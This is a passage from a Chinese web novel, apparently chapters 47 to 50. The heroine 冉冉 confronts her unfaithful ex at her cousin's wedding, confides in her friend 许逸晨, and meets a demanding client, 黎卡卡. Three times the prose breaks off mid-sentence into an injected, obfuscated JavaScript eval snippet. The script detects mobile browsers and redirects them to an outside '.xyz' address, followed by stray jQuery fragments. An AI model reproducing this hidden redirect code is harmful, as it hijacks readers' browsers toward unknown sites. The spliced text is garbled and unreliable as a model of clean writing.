我装作若无其事地到处张望,心想见到表妹塞个红包,能撤就赶紧撤。没想到,却看到了肖平。以为自己眼花,我使劲揉了揉眼睛。
他一个人,站在入口处。宾客不断向里走,他一动不动,就那样站在风口处。他高高瘦瘦的,在人群当中很扎眼。我曾经那样喜欢他的清瘦高挑,现在却恨不得他又矮又胖,湮没在人堆里。
钝痛袭来。我用忙碌填充的那颗心,在这一刻四处漏风,荒凉无比。我还没来得及给我们的爱情立个墓碑,就要披上铠甲,去跟那段欢喜的岁月斩杀搏斗。
他身边没有大胸妹,不知道是不想暴露自己是渣男还是出了变故,一个人茕茕孑立,看上去倒有几分落魄可怜的样子。
周明凯看了我一眼,然后顺着我的目光,看向了肖平。
直到新郎冲他招手示意,他才慢悠悠地随着人群朝里走。
我怎么把这事儿忘了,新郎是肖平介绍给表妹的,是比他小两岁的邻居弟弟。当时我们还曾经开玩笑说,两对可以一起办婚礼。而现在,表妹和邻居弟弟半年不到修成正果,而我和他,却咫尺天涯。
曾经以为,咫尺天涯,一别两宽,这些词儿永远用不到我们身上。
当我们四目相对的时候,他眼神淡定,透出一丝轻蔑,好像被现场抓住出轨的那个人是我。我的后背泛起一层鸡皮疙瘩,随着他越走越近,牢牢挽住周明凯的胳膊,仿佛只有这样才能攒起所有勇气。我应该怎么表现?装作没看见他吗?
“冉冉,我们能谈谈吗?”他径直走到我面前,没法装看不见他了。
“你确定要在这个场合?”周明凯压低声音问。
“这不关你的事!”肖平恨恨地瞪了周明凯一眼,好像他才是让我们走到这个境地的罪魁祸首。
我和他之间,总要谈一谈的。只是,我没想会在这种场合。宴会厅里花团锦簇,浅紫色的装饰和粉白的鲜花,把婚礼宴会厅装点得浪漫且温馨,和我理想中的婚礼很类似。我不喜欢大红大紫的喜庆。
瞥了肖平一眼,我内心擂鼓一样,紧紧攥住周明凯的西装外套才能止住颤音,“出去谈。”
周明凯轻轻拍了拍我的手背, “我刚看到宴会厅出去左转过去有个虚掩着门的小房间,大概没有人,可以去那里谈。我在门口等你。”
我点点头。
肖平关上门,将周明凯隔绝在外。
“谈什么?谈你跟那个大胸妹是什么时候搞到一起去的吗?”我盯着肖平,像一条曾被打中过七寸的毒蛇那样喷射毒液。
他的脸色涨红,“冉冉,我们不能心平气和地好好谈谈吗?”
“心平气和?换做是你,你能心平气和吗?”
“冉冉,我承认那件事是我不对,但你一点错都没有吗?”
“我有错,我当然有错,我最错的就是瞎了狗眼喜欢你!在公司加班赶项目,肖平,你演技那么好,不去当演员太可惜了。你去当演员,一准捧回小金人,那中国演艺界可太有面子了。”
“冉冉,你不用嘲讽我。我们能不带情绪,好好聊一聊吗?”
“我跟你没有什么好聊的,劈腿有什么好聊的,难道要聊细节吗?”
“安冉然,你公平一点,你真的觉得自己没有错吗?当初我们计划在S市扎根,我的压力有多大,你知道吗?!每一次都说为了更好的生活,但我在努力上进,你在干嘛?除了刷剧就是购物。还非要去旅行。工作没有晋升,加薪就更不用说了。我很累,我一想到要在S市买房,日复一日地还房贷,就觉得生活没有希望。既然是两个人的未来,为什么只是我一个人在努力?”
我的嘴唇忍不住颤抖,“那你不能跟我谈吗?”
“我没有跟你说过吗?每次只要一提让你换工作,你就质问我是不是嫌你赚得少。”
“事实不就是你嫌我赚得少吗?买房子我爸妈说了会借钱给我们,你再让你爸妈凑一点,至少首付……”
他打断我的话,“我不想问我爸妈要钱!也不想向你爸妈借钱!就算凑够了首付,那房贷呢?要还三十年!”
我们终究不能免俗,还是陷入了互相指责的境地。
“这是你出轨的理由?”
我想要一个理由,一个让我能放过自己的理由。尽管我一直骂肖平是渣男,可我也一直陷在对自己的诘问中,是我不够好,他才会离开我。
“她爸爸……是我们公司董事。”他的声音低了下去,眼神闪躲。
懂了。我在心里计算如果娶了她,肖平能少奋斗多少年?至少二十年。
肖平所在的公司市值不低于五百亿。很久以前,肖平刚进这家公司的时候,我俩躺在刚租的小屋里,开玩笑说只要给我们一个零头,我们就能活得多滋润。现在说起来,肖平也算某种意义上的梦想成真吧,多么讽刺。
我望着肖平,发现他的眼角有一道皱纹。我有多久没这么近距离看过他了?在我没有注意的时候,岁月也在他身上留下了痕迹。别说女人,男人的花期也是有限的。肖平的脸上早已没了少年的意气风发,他已经三十二岁了,留给他的时间也不多了。
释然也好,假装坚强也罢,看着眼前这个男人,我突然意识到,我们早就不是当初认识的彼此了。我们早已在日复一日平淡的消磨中,变得面目全非。
觉得有些可笑,我输给的不是一个女人,而是输给了自己的天真幼稚,输给了金钱,输给了现实。但输给什么,有什么重要呢?
“既然你已经飞上枝头,还非要找我谈什么呢?总不会还想让我恭喜你吧?”
他嗫喏了半天,“我只是想见见你,告诉你,这不全是我的错。”
“然后呢?你连当面说分手的勇气都没有吗?”
“我当时很慌……你一声不吭就走了,我找不到你。”
他到现在还在撒谎,我从来没有接到过他的消息。
“找我?”我哼了一声,“你连信息都不回。”
“我给你打过电话……”他突然气愤起来,“你不肯接!”
我想起那次在KTV接到他的电话,手机却没电了。我已经不想解释了。造化弄人也好,缘分到此为止也罢,或许这就是上天的安排。
“你除了问我东西寄哪儿,也没再联系过我!”
我都气笑了,我联系他干什么?主动求和?说我原谅他?
“不打扰了,你不是在新的爱巢里乐不思蜀吗?”我还是忍不住讽刺。
“那你呢?转头就勾搭上个小白脸,怎么着?无缝链接?是不是早就跟他有一腿了?我们都还没有正式分手,短短一个半月你就又找了,说没有猫腻,谁信呐?!”
我气得脸色煞白。恨恨地瞪着他。一句话都说不出来。
这是我们分手以来第一次见面,原本那么熟悉的人,在某个瞬间也会如此陌生。我好像从来没有认识过他,他怎么能这么无耻呢?
“冉冉,我不是那个意思……”
他向前走了一步,我往后退了两步。
《婚礼进行曲》响起,拯救了我,同时也在讽刺我——曾经那么笃定想嫁给眼前这个人。
音乐声渐渐大了,还在炮火中央的我们仍然对峙着,我不敢动,生怕一不小心眼泪就控制不住流下来。
敲门声响起,周明凯在外面说:“仪式要开始了,冉冉你补完妆了没?”
我最后看了一眼肖平,“给彼此留点体面吧,这样至少还能留下一些美好回忆。”
拉开门,周明凯朝着我走过来,把手里拿着的大衣披在我肩上,气定神闲地对着肖平说:“你们聊得够久了,该把她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672151|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还给我了。”
肖平的脸胀得通红,他嘴唇翕动,可最后什么也没说,攥紧拳头留在原地。
周明凯轻轻揽住我的肩膀,轻声说:“别低头,靠着我。” 在转身的一瞬间,眼泪从我的鼻梁滑到右眼角,再滚落在他肩头。他什么都没说,只是走到宴会厅门口时用指尖蹭掉了我的眼泪。
到底是出轨可耻,还是被抛弃可耻?或许,没有人爱的人最可耻。
当我们回到大厅时,新人已经在宣誓流程了,两个人笑得一脸甜蜜,“我愿意”的承诺掷地有声。背后的大屏幕上播放着新娘和新郎相识相知的过程,很多场景都很熟悉——我们学校的青草地,学校门口的小卖部,离我们家十分钟路程的电影院,旁边的小吃摊和早点铺,他家附近的大榕树……
眼前一片模糊,那些真实的过往,我的青葱岁月,和视频里的背景融为一体,一张张在眼前掠过。
那个人,我再也不能在伤心难过时打他的电话,我再也不能在开心快乐时冲他大笑,我再也不能在他面前撒娇,不能跟他打打闹闹,在冬天把手伸进他的手掌里,再放进他的大口袋……他将属于另一个人,曾经我畅想过的那些未来,都不可能实现。感觉眼睛酸涩,擦干的眼泪又落了下来。
周明凯微笑着跟旁边大妈解释:“太感动了。冉冉看煽情电影都哭。”
表妹在送宾客的时候,拽着自己的裙角,低声对我说:“表姐,不好意思,我不知道你们分手了……否则我不会让成宇叫他来的。”
我轻轻拍了拍她的肩膀,“别说你,我妈也才知道我和他分手。”
周明凯走过来,向表妹微笑,“新婚快乐。”
“对对对,你看我都忘了,祝你新婚快乐!”
表妹打趣道:“就等着吃你的喜糖了,你们什么时候办事儿?”
周明凯一点都不尴尬,“听冉冉的。”
回家路上,我妈的脸色很不好看。
“然然,你不是说肖平不回来吗?你不知道你表婶说得多难听,说你一脚踩两船,水性杨花,多丢人。”
我愕然地望着我妈的嘴巴一开一合,脑子里一片空白。我知道我应该大声反驳谩骂,可我只是浑身颤抖,
周明凯轻轻地挡在我面前,“阿姨,任何人都可以说冉冉不好,可您是她的妈妈,您不应该这么说她……我带她去走走……您跟叔叔先回去吧。”
“我怎么说她了?这都是别人在说。我骂了她表婶!”
秦女士一直都是这样,外人说我,她当然站在我这边;可她自己会再把别人说我的话再复述一遍,让我知道,我做的不够好。
“我不想回家。”情绪低落,后悔自己为什么要回来。
“我带你去个地方,来的路上,我做了攻略。”
我狐疑地望着他,“我就在这里长大的,还能有什么我不知道的
“只缘身在此山中。”周明凯得意地向着东山方向一指,“你在那喝过酒看过日出吗?”
我摇摇头。
我们去小店买了啤酒,去酒店拿了厚衣服,直奔东山。东山并不高,与其称为山,不如说是小山丘。沿着东山一路向上攀爬,四十多分钟就到了山顶。黑黢黢的群山沉默着,爬到山顶时,我直喘气,周明凯面不改色。
站在山顶,俯瞰整个县城,晚上小城的万家灯火,显得不太真实。万籁俱寂,蟋蟀在草丛里鸣叫,萤火虫在山坳里飞舞,整座小城陷入睡眠后,整个天空像是钻满了钻石的云盖,美得叹息。
我们边喝酒边聊天,周明凯发出慨叹,“这座小城适合拍电影,很有故事感。”
“你还懂拍电影?”
他露出很怀恋的表情,“我大学专业学的是电影剪辑。”
“你?电影剪辑?”
他把衬衫的袖子挽到了小臂三分之二的地方,露出线条优美结实的小臂肌肉,“不相信?晚点给你露一手。”
我摇摇头,“那你怎么进了GT?”
“我最初想拍广告,只能说阴差阳错。你呢?”
“我?我不知道。算是被命运推着走到了现在……”
我们谈天说地,我忘了他是我的老板,只是一个能聊得来的朋友。
喝了三四罐啤酒之后,我的胆子大了起来,“周明凯,你为什么会在这里?”
“还你的人情……”
在我晕乎乎地睡过去之前,“Raymond,周明凯,你是我的老板,不是我的救赎。下次我不想依靠任何人,我要做自己的救赎。”
看日出这种事情虽然很浪漫,但结果就是,我冻感冒了。
48. 第 48 章
给自己做了好几轮心理建设,又做了几次深呼吸,我拿起了电话。
按下黎卡卡的办公电话,听着无聊的嘟嘟声,没人接电话,如释重负。心里盘算,如果再响三秒没人接,我就挂断。
默数到最后一秒,我正欢欣鼓舞地准备挂断电话,耳边响起一个甜腻中带着些许港台腔的声音:“你好,哪位呀?”
萌萌的线报里没说这是位港台同胞啊。
不影响,不影响,她又不是说粤语。
“您好,黎小姐。我是GT公司新项目的对接人……”
还没等我介绍自己,她在电话那头冷笑了声:“你们GT没人了嘛?派一个不知道是路人甲乙丙的来跟我对接咯?”
“黎小姐,我目前在服务WH集团。如果您要是觉得我不够格,可以直接跟我们老板说要求换人。”
“你什么态度呀?”她停顿了几秒,“别怪我不提醒你哦,你这样的话,我可以投诉你的哦。”
我默默翻了个白眼,“投诉是您的权利……我老板指定我跟您对接,那一定是认为我有能力服务好贵司。”
潜移默化当中,我也渐渐“萌化”:该拿着鸡毛当令箭的时候就拿上,只要有老大这只老虎在,我们当好狐狸就行。
“算了啦。我也不是那么小气的人。”她很大声地叹了口气,好像自己做出了多么大的妥协,“这个案子很简单啦,就是我们有个周年庆活动,想要你们出个方案啦……先说一下,我不想要那么常规的哦……”
好的,又是一个天马行空不落地的。
我努力保持微笑,“那您什么时候有空?我们先见面碰下需求,您看可以吗?”
“我看看哦……”然后我听到电话里哗啦啦翻书的声音,“明天我有空啦……你可以在下午三点半和四点半里选一个时间,我呢,会有大概半小时可以见见你。你要珍惜哦。”
我再次翻了个白眼,怀疑自己这是要去觐见公主。
约好时间后,她又叮嘱道:“我不喜欢别人迟到哦,你最好提前十五分钟到地方等啦。你明白我的意思吧?就这样咯,我要去开会了啦。拜拜哦。”
我还没来及说完“拜拜”,她啪嗒一声就挂断了电话。
虽然她这种极度没礼貌的行为,让我领悟到,素质这东西并不是每个人都有的,有些人总是理所当然把自己当作宇宙的主人公,所有人都得围着她转;但我此刻仍然很想有超能力——从话筒里伸出手,用力晃动她的肩膀:“醒醒,你不是这个世界的主宰”。
尽管把电话听筒摔到地上这种行为看上去很解气,可我怕公司行政让我赔偿损害公物的损失。于是,我默默地将话筒放了回去,只是在话筒快要搁到底座时敲了一下。
我知道我很怂,但我的银行余额不允许我任性。
重重地把自己像一张卷饼一样瘫在位置上,脑子里开始复盘刚刚的交锋——“不要以为当你开始打出第一通电话的时候,就已经开始了。永远要想清楚,为什么打这个电话,想要从对方那得到什么”—— 不管黎卡卡有多么不喜欢我,但约到时间聊需求——从第一轮交手来看,险胜。
放弃表情管理。我也不知道从哪儿得来的冷知识:就算对方看不见你,也能感知到你通话时的情绪。不面对面沟通也要微笑。鬼知道我怎么会相信,打电话时对着镜子微笑,傻得冒泡。
“冉冉,你脸色不太好……没事儿吧?”
“能有什么事儿,不过是明天下午要去觐见公主。”我连白眼都翻不动了,侧过头问孟猛:“她到底是个什么品种?尼加拉瓜和台湾混血吗?”
“你说她的口音啊?”
小妍抢着回答:“小道消息,她出生在广州,后来去香港读了几年书吧,但她对外宣称她是香港人。”
“香港怎么了?1997不就回归了。”
“我国部分的香港和台湾同胞,仍然有着莫名其妙的优越感。甚至有些内地人民,也对这两省人民有着莫名其妙的崇拜。”小妍给了我一个“你懂的”表情,“大概是觉得比较洋气。”
“履历这件事,你问萌萌比较好。”小妍眨眨眼,“这方面,她是权威。”
觅觅探了个头,“我一直觉得,萌姐在我们这屈才了。她应该为广大群众贡献八卦,多去挖掘挖掘明星轶闻……”
说曹操,曹操就到了。
“感受如何?”
“她的声音很难形容,像一杯加了Triple 浓度糖浆的奶茶,甜得发苦。”我如实回答。
还没等孟猛发表意见,萌萌给了我一个意味深长的微笑,“见到她本人,会夯实你对这杯奶茶的印象……”
还没等她说完,周明凯办公室的百叶窗拉了起来,“吕萌,你来一下。”
萌萌一路小跑着去了老板办公室,突然她又折回来,郑重其事地说:“友情提醒,别答应她关于任萧的任何要求。”
“任萧?那是谁?”我一头问号。
觅觅像看外星人一样看着我,“新晋国民老公任萧你都不知道?!”
“我最近没怎么追剧……”
小妍给了我一个同情的眼神,啧啧惋惜,“老大太狠了,你连追剧的时间都没有……任萧的新剧跟那个最近挺红的小花曾可欣搭,两人配一脸。”
经过她们一顿普及才知道,任萧前两年通过一部小网剧出道,有了一些名气;最近凭借一部现象级的古偶火出圈,成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672152|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了当红炸子鸡。
黎卡卡迷任萧迷得要命,KY一直想让任萧给他们代言产品,虽然给的代言费不菲,但出于自己的受众群体和形象考虑,任萧婉言拒绝了好几次——毕竟他现在风头正盛,手上的商务合作都是一些时尚代言,甚至不乏各种叫得上名号的奢侈品向他抛出橄榄枝,当然不会为了他们区区的五斗米折腰。
这个世界变得太快,上一任国民老公这么快就被后浪逐浪盖过风头,我记得一年前的国民老公还是陈云澈……我对这些新流量无感,大概是因为演技实在乏善可陈,帅倒是帅的,可走到哪儿都能看到同一个人,就还挺烦的。
“反正听萌姐的没错!千万别答应她关于任萧的任何要求!”小妍给了个结语就去忙活了。
萌萌从老板办公室出来,一脸晦气。她说老大让我进去,压低声音说:“要挨骂了,夹起尾巴做人。”
果然,周明凯连头顶上都冒着寒气,他一副恨铁不成钢的样子,“办公室不准聊八卦,你是一点没记住!”
“我没聊八卦……”
“那刚刚你们围一圈是怎么回事?”
“那是……那是……深入了解甲方需求以及萌萌给的避坑指南。”
周明凯似笑非笑地看了我一眼,“包括聊客户八卦?”
我瞄了他一眼,心想他会不会其实知道小剪刀喜欢他,不然我们以前聊八卦也没挨批……可他一副光明伟正的样子,大概是我小人之心。
“不要在任何公众场合聊客户的是非,你永远不知道,消息会以什么方式传进客户耳朵里。”
“如果客户实在太离谱,忍不住想吐槽呢?”
“先反思自己为什么达不到客户的要求。”等于没说。周明凯有圣人的嫌疑,“如果实在双方沟通成本太高且都无法妥协,就放弃。”
欸?放弃居然会出现在周明凯字典里,所以人生的终极密码是,人生无难事,只要肯放弃吗?这我可太擅长了。
见我两眼放光地望着他,他无奈补充,“是在拼尽全力问心无愧之后的放弃。”
由于我跟萌萌都被老板批评了,中午吃饭的时候我俩都垂头丧气。八卦不能聊了,办公室乐趣-1。孟猛说,不能在办公室聊,我们可以出来吃饭的时候聊。
我哀怨地看了他一眼,“老大说的是不准在公共场合聊,不只是办公室。”
小妍吐了吐舌头,“不聊客户不就行了,萌萌姐知道的娱乐圈八卦也不能聊吗?”
萌萌精神了,她绘声绘色给我们爆了几个大瓜,我们听得津津有味……
不在办公室聊八卦,不在公共场合吐槽客户,总能在公共场合聊别的八卦吧。这算不算职场八卦擦边球呢?
49. 第 49 章
下午三点多,我正在整理客户需求,接到许逸晨的电话,说要到我这住两天,我虽然说好,可脑子里是空白的。发生什么事了吗?我不知道该不该问。
我不像孟猛能一心二用。接完许逸晨的电话就开始发呆。虽然眼睛盯着屏幕,手放在键盘上,可一行行的字像是蚯蚓一样歪歪斜斜地从视线里爬走。工作效率为负。
跟许逸晨约的是晚上七点半,听到门铃声,我一下子挺直了腰,差点同手同脚。
一开门,她举着袋子问:“吃饭没?我给你带了小笼包。”横亘在岁月里的记忆,清晰鲜明地蹦到我眼前。
就着牛肉汤嘬小笼包,红豆沙作为饭后甜点,吃得肚撑腰圆,这是我从家回来后最有胃口的一顿。
我们并排躺在床上,就像在大学里那样,尽管已经从八十公分的小床换成了一米五的大床,可我们仍然紧紧挨在一起。似乎这样,我们就回到了少女时光。
从工作聊到生活。许逸晨并不像很多有了孩子的妈妈那样,一直谈论孩子。偶尔她会提到女儿,但更多谈的是,因为养育孩子,放弃了多少机会。
鲜少联系的那几年,我们的人生际遇完全不同。我在原地踏步,而她在工作和家庭之间挣扎平衡。这种陌生的割裂感,把我们之间实实在在失去的几年铺陈开来,一页页展示。
“你是不是遇到什么事儿了?”犹豫了半天,我还是忍不住问了。
她沉默了片刻,“我的晋升机会……没了。”
“怎么回事?”
“最近涵涵幼儿园有不少小朋友生病,她被传染了,我请了几次假带她去医院。半年度绩效考评我的出勤和评分都受到了影响,一个男同事获得了晋升。”
我轻轻叹气,“女的在职场上,一直都处于很尴尬的境地,只是没有人说破而已。”
“职场上的鄙视链,职场妈妈还不是排在最底层的。原先没孩子,不觉得外企好,现在觉得……以前自己还是太年轻。”
“所以你的梦想还是女高管吗?或者是自己……创业?”
“经过这次,我更觉得……”她望着天花板,“自己当老板才是出路。”
我整个人转向她,看着她的侧脸,在黑暗中,她的鼻子挺直,轮廓像山峦一样起伏。
“那你后悔吗?”
如果是我的话,大概会就这个机会退回到家庭吧。可许逸晨跟我不一样,她是一个积极向前看的人。
“说完全不后悔,那是骗人的……”她顿了顿,“有时候会想‘我为了这个小姑娘,丢掉了那么多,是不是值得呢’;可是,一看到涵涵,就会滋生出‘行吧,也不算亏’的念头,很矛盾。只能说生命很奇妙。”
她叹了口气,接着说:“我是真的做不到为了她完全丢掉自己。可能我注定做不了伟大的母亲。”
“我连早上吃了包子,都会纠结是不是不应该再吃油条了。你已经很勇敢了。我老板说拼尽全力之后还是不行,那就放弃。伟大的母亲属于这个范畴。”
“婚姻也属于这个范畴。离婚并不算坏事情……”她突然把脸转向我,我在她的眼睛里看见了星光,“以前大人们总说错了改了就好,离婚不也是错了修正吗,不管是性格不合、婚内出轨还是别的原因,如果两个人走不下去了,离婚就是让人从错误的结合中摆脱出来,能够重新开始。”
很奇怪,房间黑漆漆的,她的眼眸也黑漆漆的,但为什么能那么亮那么闪呢?
我愣住了,从来没有这样想过——分手、离婚,这些总跟悲惨、伤痛挂钩,但从没想过,是修正错误。
“我刚离婚那时候,总觉得是不是自己的问题。究竟是我不够好,还是因为我做错了什么。整天恍恍惚惚,睡不着觉,饭也吃不下。一下子瘦了十几斤,工作上也总出错,疲倦且无趣。涵涵哭或闹的时候,我甚至不想去抱她,只是坐在地上看着她。我觉得自己很失败,既没有搞好事业,婚姻也失败,也当不好妈妈……没有一件事能做好。”
我轻轻地伸出手,想要拍一拍她的背。举在空中还没落下,一个念头像闪电一样击中了我:当她经历这些的时候,我又在哪儿呢?在她最需要我的时候,我不在她身边。终于,还是把手放在了自己的胸口,钝钝的,像是有一把小锯子在那里来回拉扯。我张了张嘴,却没有发出声音。
悲伤在空气里来回逡巡,加大剂量向我投放。我感觉耳朵那里冰凉潮湿,伸手摸了一下,原来是眼泪滚到了耳朵里。
许逸晨动了一下,我赶紧背过身去。
“你睡着了吗?”
我深深地吸了一口气,再吐出去,“没……总会过去的。”
尽管我说得没头没尾,可许逸晨知道我在说什么。
“都过去了。”她轻轻叹了口气,“总会过去。”
“你……为什么离婚?”
她沉默了片刻,就在我以为她已经睡着的时候,她幽幽地说:“他出轨了……在我怀孕的时候。”
刚刚放在胸口的手揪住了衣领,心脏又狠狠疼了。我伸出手抱住了她。她把头靠在我肩上,我感觉有液体顺着我的脖颈一路滚下去,重重地砸在枕头上。
或许伤痛迟迟早早总会过去,可是我们受到的伤害呢。伤口会结痂,是因为它曾经流过血。
“肖平也是……”
“面对同一个人,有激情和新鲜感的时间大概最多不超过12个月……上头也不过是多巴胺分泌,消耗起来很快……再接下来就是看人品看底色看责任感,唯独不是看所谓的感情。”
许逸晨不愧是学霸,她总是能够跳脱出事情本身抓住本质。
“其实真正让人难过的并不是结束,而是背叛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672153|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
我们都陷入了沉默,一个人对另一个人失信,把曾经的承诺都当作废纸揉成一团扔进废纸篓,婚礼上的誓词——无论贫穷与富裕,无论健康或疾病,都将爱彼此,忠诚于彼此,直至死亡——终究都只是镜花水月,成了美好的幻象。
没有再说话。过了一会儿,我听见她均匀的呼吸声。起初,我还是睡不着,轻轻翻身,生怕吵醒她。她的呼吸声像是镇定剂,我的心跳平缓下来,不知道什么时候睡了过去。一夜无梦。
第二天早上醒来,床铺的另一边已经空了。我伸出手去摸,温热的余温让我有一种恍如隔世的错乱感。有那么一瞬间,我的脑袋里闪出肖平的影子。
我摇摇头,觉得自己是疯了。
“然,起来吃早饭了……”
许逸晨大概在厨房或客厅,她的声音遥远且带着清晨起床后特有的沙哑。我在迷糊懵懂中,仿佛躺在宿舍的床上。许逸晨每天早上都会去湖边背英文单词,而我只要早上没课从来起不来,她在出门的时候会问我想吃什么,虽然我迷迷糊糊似醒非醒,还是会应答,“我要吃第五食堂的包子,酸豆角肉的。”
揉揉眼睛,在恍惚中看见了高高的天花板——我在大学里住三号床,上铺,一伸手就能摸着天花板。可现在,天花板很高,我伸出手去够,压根够不着。
“快点起来,你在干什么呢?赶紧洗漱吃早饭,还要去上班。”许逸晨冲进来,一把掀开被子,恨不得把我连被子一起掀翻。
上班?上什么班?我是安冉然,我在哪儿?我要干什么?
许逸晨见我发愣,推着我进了洗手间,打开水龙头,撩水泼在我脸上。
“醒了醒了!”
她还继续拿水泼我,“你诓我吧?在学校时就是这样,我一走,你又回去睡了。”
我挡住水龙头,“真醒了真醒了……”
……
桌子上放着金灿灿的油条,泛着诱人的色泽。看上去像是刚从油锅里捞出来的,这种酥脆的油条太好吃了,喷香的味道勾起了食欲。旁边还有个盘子里装着包子,还有打包回来的粥。
“我要赶紧走了,买了粥,油条和包子,你自己吃完收拾。”
她探过身子,从桌子上抓了一个包子,踹在包里,匆匆忙忙换鞋往外走。
打开门,阳光倾泻而下,瞬间铺满客厅。
她整个人都笼罩在阳光里,迎着光向前。我望着她的背影喊叫:“今晚还来住吗?”
“说好了住两晚,你还想赶我啊?晚上等我一起吃饭!”
“好。”
看,这就是许逸晨,无论在什么样的处境下,她都能满血复活,
我托着腮帮咬着油条,思索自己什么时候能成为像她一样的人,自愈力惊人且光芒万丈。不经意抬眼一看钟,我的妈呀,要迟到了!
50. 第 50 章
不喜欢别人迟到的人,整整晚了半小时才出现。
看到黎卡卡的第一眼,我就知道,我们岂止是气场不合,连眼缘都合不上。
五米开外,我就看到一个真人芭比,只不过是一个不高兴版本的芭比。她身材纤细,穿着一条香槟色的A字裙,扎着高高的马尾,上面绑着一个同色系的蝴蝶结,脖子上戴着一串能亮瞎我眼睛的项链,不知道是水晶还是钻石,脚上蹬着一双镶满钻闪闪发光的高跟鞋。从上到下,从头到脚,散发出一种“快看,我是不是超好看?那你怎么还不赶紧夸我”的迷乱气息。她应该被归在萌萌“彩妆/穿搭博主”那个文件夹下,而文件夹的备注是“浮夸”。
怎么说呢,好看是好看,但给人一种格格不入用力过猛的感觉。我差点认为跑错了片场——我难道是给星光大道或影视颁奖礼做活动策划吗?四下张望,想看看是不是整个KY都是这个风格。从我身边走过的几个姑娘,在她的映衬下显得异常朴素。我瞬间明白了萌萌说的夯实版印象。
“哎呦,人家最讨厌撞衫了啦。”她走到我面前,臭着一张脸,活像我欠了她五百万。
我低头看自己的穿着,深刻怀疑对面那个女人是不是瞎。
为了体现我是一个专业职场人,今天我特意穿了一条米色的连衣裙,外面罩了一件白色薄针织衫——不出彩也不出错的标准上班搭配。跟她那个形象就算不能说毫不相关,起码也是大相径庭。所以我到底跟她撞哪儿了?
“下次麻烦你不要穿香槟色、米色、杏色这类颜色的衣服哦,因为是我的幸运色欸。”
按照她的标准,满大街的姑娘有三分之一都在跟她撞衫吧。我很想提醒她,不然她换个别的色系作为幸运色,比如墨绿、深紫之类的,大概撞衫的几率会低一些。想想还是算了。谁知道她这个撞衫,是不是只针对我。
“好的,我下次一定注意。”
她不咸不淡地从鼻子里哼出来一个“嗯”,然后带着我一路晃着到了办公室尽头。我偷偷观察那些坐在工位上忙碌的姑娘们,大多数跟我穿得差不多,偶尔几个出彩的,跟平时萌萌的穿衣风格类似。
拐到尽头,她向里张望了一眼,“哎呀,怎么所有的会议室都有人呀,讨厌死了啦。”
于是,我又跟着她一路摇曳回了原地,大概他们公司人早就习惯了她的风格,抬头看了一眼又马上低了头,仿佛我们不存在。
“算了,去我办公室啦。”
我看了眼她的铭牌,上面印的头衔是“高级市场总监”——有些公司总喜欢在抬头前加莫名其妙的形容词或限定词,我其实一直想问,没有“高级”的市场总监是普通版本还是低级版本呢。
我的脑子一刻不停歇地胡思乱想,她在椅子上坐定之后,转了一圈,然后指着她对面的浅卡其色沙发说:“随便坐吧。”
然后,她打了个内线电话:“给我买杯卡布奇诺,要1/3糖哦。”
我原本以为梦幻、朦胧、浪漫、有意境的紫已经是我职业生涯最棘手的考验了,眼下事实告诉我,我接触的客户群体样本过少,所以无法想象什么才是职业滑铁卢。
黎卡卡用她那个水晶甲托着腮帮,眨巴着她那个跟米妮一样的长睫毛,看上去人畜无害,可说出的那句话差点让我落荒而逃。
“我们这次想要呈现的效果呢,是现实中带着虚幻,在虚幻中展现现实。”
我在心中咆哮,你要不要听听自己在说些什么。
除了提醒自己不要把惊诧表现得那么明显之外,我还努力做出理解了她的表情,“您的意思是我们这次要以科幻作为主题吗?那风格上,您是倾向于赛博朋克还是后现代……”脑子里已经浮现出赛亚人穿着机械战甲列队出行,前方即将迎来的是他们的塞亚公主……那将是多么宏伟且诡异的年会阵容。
等等,是不是还得给他们安排宇宙飞船和战舰?那预算肯定就不够了呀!
她明显愣了一下,“人家不是那个意思啦。”
“那您能描绘地更具体一点吗?”
我甚至怀疑,这句话会不会成为以后我所见任何一个客户的标准话术。相信周明凯和孟猛都有自己应对客户的一套标准作业流程,但我直到现在还没摸到任何门道。
“我的意思是……”她迟疑了片刻,“你那个想法,我不是很能get到哎。”她的脸上浮起一个“你脑子是不是有什么毛病”的表情,不带遮掩。
我们的初次面谈没有达成任何一致且认为彼此是奇葩。
尽管我很想中途溜号回家,但据萌萌的可靠线报,今天下午老板会回办公室。所以我在结束了这个一无所获的会议之后,颓废地滚回了办公室。回到公司,我已经耗尽了所有的能量,浑身上下除了嘴还能勉强动一动之外,哪儿都动弹不了。
“你说黎卡卡是她的真名吗?为什么会有人顶着一个像动漫二次元的名字,本人却像个塑料娃娃?”
萌萌赞赏地看了我一眼,“冉冉,你自从到了我们团队之后,表达能力是飞流直上三千尺啊。”
